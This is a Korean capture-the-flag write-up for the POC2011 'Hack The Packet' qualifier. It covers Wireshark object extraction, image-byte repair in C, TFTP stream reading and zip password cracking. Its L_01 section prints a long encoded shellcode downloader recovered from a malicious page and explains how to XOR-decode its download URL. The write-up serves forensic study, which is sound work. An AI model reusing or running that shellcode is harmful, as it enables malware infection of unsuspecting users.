POC "Power of Community" 이민우 (lwmr)

Similar documents
Hack The Packet Online PreQUAL 이진혁 [ loca ]

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

Hackthepacket WriteUp ##DoubleB## LQ. telnet 은다보여 LEQ : telnet Hint : Key is telent Password FILE : 3.Q_2(Leopardan) Sol) Idea : 힌트에따라 TELNET 프로토콜을필터링

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

The Pocket Guide to TCP/IP Sockets: C Version

제 2 회 NewHeart 해킹청소년경진대회 Write-up 안양부흥고등학교 2 goodboy( 김남준 ) Misc 100 ( 보너스문제 ) 이상한사진파일하나가첨부된문제이다 처음에는스테가노그래피인줄알고삽질을약간 (?) 하다가 ASCII 인줄알고고생하다가 그대로붙여서계산

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

일반적인 네트워크의 구성은 다음과 같다

2012 POC, Hack The Packet Online PreQUAL TEAM SsoMac by 최봉철 [ mikorea madkid ]

Microsoft PowerPoint - L4-7Switch기본교육자료.ppt

Microsoft Word - CPL-TR wireshark.doc

ISP and CodeVisionAVR C Compiler.hwp

Microsoft Word - src.doc

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Hack the Packet 보고서 위 dj


이세원의 인터넷통신 과제 02.hwp

The Pocket Guide to TCP/IP Sockets: C Version

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

작성자 : 기술지원부 김 삼 수

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

졸업논문 되어자전거의현재정보를알려주게된다 시스템의동작절차그림 3-1 리더에서의자전거정보조회동작절차위에동작절차에서알수있듯이리더에서하는동작절차에서는크게 부분으로나눌수있다 리더에서에너지를보내 로부터데이터가전송되면자전거의정보를확인한다 여기서도난당한자전거인

C++ Programming

chap7.key

#WI DNS DDoS 공격악성코드분석

ìœ€íŁ´IP( _0219).xlsx

Microsoft Word - WireShark 프로그램의 기능 분석_ver1.1.doc

Secure Programming Lecture1 : Introduction


歯9장.PDF

슬라이드 1

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

SBR-100S User Manual

Microsoft Word - poc_script1.doc

03장.스택.key

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

근대문화재분과 제4차 회의록(공개)

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

KNK_C_05_Pointers_Arrays_structures_summary_v02

금오공대 컴퓨터공학전공 강의자료

untitled

ㅇ악성코드 분석

슬라이드 1

TGDPX white paper

PowerPoint 프레젠테이션

01 EDITOR S PICK: 068_ _069

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

The Pocket Guide to TCP/IP Sockets: C Version

중간고사

2

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

Microsoft Word - Static analysis of Shellcode.doc

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

PowerPoint Presentation

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

BMP 파일 처리

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint APUE(Intro).ppt

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap10-함수의활용.pptx

게시판 스팸 실시간 차단 시스템

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]

<4D F736F F F696E74202D20C1A63137C0E520B5BFC0FBB8DEB8F0B8AEBFCD20BFACB0E1B8AEBDBAC6AE>

5.스택(강의자료).key

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

2009년 상반기 사업계획

PowerPoint 프레젠테이션

Microsoft PowerPoint - 제11강 파일 처리

02장.배열과 클래스

슬라이드 0

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

<4D F736F F F696E74202D20C1A632C0E520C7C1B7CEB1D7B7A5B0B3B9DFB0FAC1A4>

1. 안드로이드개발환경설정 안드로이드개발을위해선툴체인을비롯한다양한소프트웨어패키지가필요합니다 툴체인 (Cross-Compiler) 설치 안드로이드 2.2 프로요부터는소스에기본툴체인이 prebuilt 라는이름으로포함되어있지만, 리눅스 나부트로더 (U-boot)

슬라이드 1

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

C 프로그래밊 개요

<4D F736F F F696E74202D2034C5D8BDBAC6AEC6C4C0CFC0D4C3E2B7C2312E505054>

[ tcpdump 패킷캡처프로그램 ] tcpdump란? tcpdump 버전확인 tcpdump 플래그 (flags) tcpdump 사용법 tcpdump의사용예제 telnet을활용해 root와 passwd 암호알아내기 [01] tcpdump란? tcpdump는 Lawren

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

금오공대 컴퓨터공학전공 강의자료

C# Programming Guide - Types


<4D F736F F F696E74202D20C1A63132B0AD20B5BFC0FB20B8DEB8F0B8AEC7D2B4E7>


PowerPoint 프레젠테이션

2009년 상반기 사업계획

*2008년1월호진짜

Microsoft PowerPoint - 04-UDP Programming.ppt

DocsPin_Korean.pages

Transcription:

POC2011 - "Power of Community" 이민우 (lwmr) pmskylove@gmail.com

L_01 Q : 지성이는홈쇼핑을하다이상한페이지에접속하여악성코드에감염되었다! 악성스크립트에포함되어있는쉘코드가다운로드하는 URL 을찾아라! Twitter 의 2mart 라는힌트를보고 WireShark 의 File Export -> Objects -> HTTP 을통해 Shop 을저장해메모장으로열어보면악성코드가보입니다 payload= '%u5858%u5858%u10eb%u4b5b%uc933%ub966%u03b8%u3480%ubd0b%ufae2%u05eb%uebe8% uffff%u54ff%ubea3%ubdbd%ud9e2%u8d1c%ubdbd%u36bd%ub1fd%ucd36%u10a1%ud536 %u36b5%ud74a%ue4ac%u0355%ubdbf%u2dbd%u455f%u8ed5%ubd8f%ud5bd%ucee8%ucfd 8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D 2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD 0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8 ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%u BFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7 %ud7ee%u42bd%ue1eb%u7d8e%u3dfd%ube81%uc8bd%u7a44%ubeb9%udbe1%ud893%uf97a %ub9be%ud8c5%ubdbd%u748e%uecec%ueaee%u8eec%u367d%ue5fb%u9f55%ubdbc%u3ebd %ubd45%u1e54%ubdbd%u2dbd%ubdd7%ubdd7%ubed7%ubdd7%ubfd7%ubdd5%ubdbd%ue E7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%u D7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA 2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD4 2%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB 7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D% ubdbd%ubdd7%uf330%uecc9%ucb42%uedcd%ucb42%u42dd%u8deb%ucb42%u42dd%u89eb %ucb42%u42c5%ufdeb%u4636%u7d8e%u668e%u513c%ubfbd%ubdbd%u7136%u453e%uc0e9

%u34b5%ubca1%u7d3e%u56b9%u364e%u3671%u3e64%uad7e%u7d8e%ueced%uedee%ueded %ueded%ueaed%ueded%ueb42%u36b5%ue9c3%uad55%ubdbc%u55bd%ubdd8%ubdbd%ude D5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uB DB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD% uee66%ueeee%u42ee%u3d6d%u5585%u853d%uc854%u3cac%ub8c5%u2d2d%u2d2d%ub5c9% u4236%u36e8%u3051%ub8fd%u5d42%u1b55%ubdbd%u7ebd%u1d55%ubdbd%u05bd%ubcac %u3db9%ub17f%u55bd%ubd2e%ubdbd%u513c%ubcbd%ubdbd%u4136%u7a3e%u7ab9%u8fb A%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC20 7%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1 FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u1 0A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%u CEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u4 28E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8F A%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE5 42%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10 %u8e78%ub266%uad03%u6b87%ub5c9%u767c%ubeba%ufd67%u4c56%ua286%u5ac8%u36e3 %u99e3%u60be%u36db%uf6b1%ue336%ubea1%u3660%u36b9%u78be%ue316%u7ee4%u6055%u 4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C 34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A 4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0 %u0584%u69d4%u03a6%udbc2%u411d%u8a14%u2510%uadb7%u3d45%u126b%u4627%ua8ee %ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%uc5c9%uf7da%u93f7%ud2de%u92d0%ud0d4%ud adc%uced8%uce92%ud893%ud8c5%ubdbd%ubdbd%ueaea%ueaea%ueaea%ueaea'; Malzila 을이용했는데 malware hunting tool 이기때문에문제에적합한툴이였고, KISA 오픈 소스툴찾기대회때이툴로상을받아서사용법을알고있었고 ISEC2011 에서문제를푸는데 사용해봤던적도있어서쉽게풀수있었습니다.

먼저해당 payload 을 Hex 값으로바꿔주면밑에그림과같이 Hex 값으로바꿔줍니다 이 HEX 값을 Paste as hex 을통해복사해놓으면밑에그림과같이되는데

URL 을찾는문제였기때문에 www 을넣어봤는데 key 값이 2f 가나왔는데되지않았고 http 을넣었을때 key 값인 92 로 xor 을해주니맨밑에 URL 을찾을수있었습니다 L_03 Q : 착이가 POC 사이트에접속했을때, 웹서버의시갂은? WireShark 의 File Export -> Objects -> HTTP 을통해 Powerofcommunity.net 사이트의 패킷번호 15 번을확인하고 Follow TCP Stream 을하면

Mon, 17 Oct 2011 09:24:22 GMT 라는키값이보입니다. M_01 Q : GRAN PLAZA 로향하는출발지를찾아라. 맵을완성하고나면경로를찾을수 있을것이다. 정답은출발지건물의이름이다. WireShark 의 File Export -> Objects -> HTTP -> Save All 을해서지도그림만뽑아낸후

지도퍼즐을맞추고보면 GRAN PLAZA 출발지는 Clinica dental Dr. Calvo 임을알수있었습니다 M_03 Q. 이럴수가도시가뒤집어졌어!!! 자네이도시를다시돌려주게! WireShark 의 File Export -> Objects -> HTTP -> Save All 해서뒤집어진집그림을뽑아낸후

살펴보니 Hex 값을뒤집어주는문제였습니다. 예젂에이런문제류를보았었고얼마젂에진행한 순천향대정보보호페스티벌에서도비슷한문제가있어서사용했던약갂지저분한소스코드로쉬 우면서도힘겹게풀수있었습니다. // 헤더부분생략 void main () { int i=0; char str1[100000]={0}; char temp; char * str1_ptr=str1; FILE* fp=null; FILE* fp2=null; size_t n_size=0; size_t total_size=0; char buff[1024]={0}; fp=fopen("c:\\users\\lwmr\\desktop\\a.txt","r"); if (fp==null) { printf(" 파일열기실패 \n"); return; } while (0 < (n_size=fread(buff,sizeof(char),1024,fp))) { memcpy(str1_ptr,buff,n_size); str1_ptr+=n_size; total_size+=n_size; } fclose(fp); for (i=0;i<total_size;i+=3) {

temp=str1[i]; str1[i]=str1[i+1]; str1[i+1]=temp; } printf ("total_size = %d, str1[total_size-1] = %c \n", total_size, str1[total_size-1]); fp2=fopen("c:\\users\\lwmr\\desktop\\output2.txt","w"); fwrite(str1,sizeof(char),total_size,fp2); fclose(fp2); return; } 각사진마다작업후사진들을합쳐보면키가보입니다

M_04 Q : 산수좀하나? WireShark 의 File Export -> Objects -> HTTP 을통해 kkk.jpg 파일을저장해서보면 다음과같은그림파일의덧셈문제가나오는데, 계산과정에서잘보이지않아계산이자꾸틀려 포토샵을이용해다음과같이조젃해계산을하면 key : 7658 H_03 Q. Hack The Packet 대회 Cisco Router 가해킹당했다. Router 가설정파일과 IOS 이미지등을받아올때 TFTP 라는비연결형파일젂송프로토콜을이용 함을알아내어패킷에서 TFTP 프로토콜을사용하는목록이다음과같아 보이는 5 개의패킷을모두 UDP Stream 해서보니모든패킷에키값이적혀있었습니다..

H_04 Q. Buddy Buddy, zip file 패킷에서 buddybuddy 에해당하는패킷이 3 개있었는데 zip 파일을추출하지못해 문제 pcap 파일을 hex editor 로열어압축파일인 PK(50 4B 03) 를검색하는도중많은 PK strings 중에 PK 밑에 KEY 라는부분이보여이부분을만들어보면 압축파일이만들어지는데암호가걸려있습니다 AAPR.v4.53 을이용해크랙을하면키패스워드가 0.5 초.. 만에나옵니다 1018 패스워드를넣어주고압축을풀고 key 파일을읽으면 Key:YOU_Don'T_Know_ME